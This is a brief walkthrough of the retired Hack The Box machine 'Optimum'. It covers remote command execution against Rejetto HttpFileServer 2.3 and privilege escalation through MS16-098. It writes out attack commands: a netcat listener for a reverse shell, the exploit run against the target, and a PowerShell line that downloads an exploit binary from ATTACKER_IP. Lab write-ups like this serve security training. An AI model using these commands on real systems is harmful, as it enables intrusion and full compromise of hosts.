Optimum

Hack The Box · Easy Windows Box · Retired

Enumeration

Nmap found a single HTTP service running Rejetto HttpFileServer 2.3 on TCP 80.

80/tcp open http HttpFileServer httpd 2.3

Initial Access

The HFS installation was vulnerable to remote command execution. The original walkthrough used the Exploit-DB Python exploit, hosted nc.exe from the attacking system, and opened a listener on TCP 443.

sudo python -m http.server 80
nc -lvnp 443
python ./ex.py 10.10.10.8 80

This returned a shell as Kostas.

Privilege Escalation

Windows Exploit Suggester identified MS16-098. The compiled exploit was transferred with PowerShell and executed locally, yielding SYSTEM privileges.

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://ATTACKER_IP/41020.exe', 'c:\Users\Public\Downloads\41020.exe')"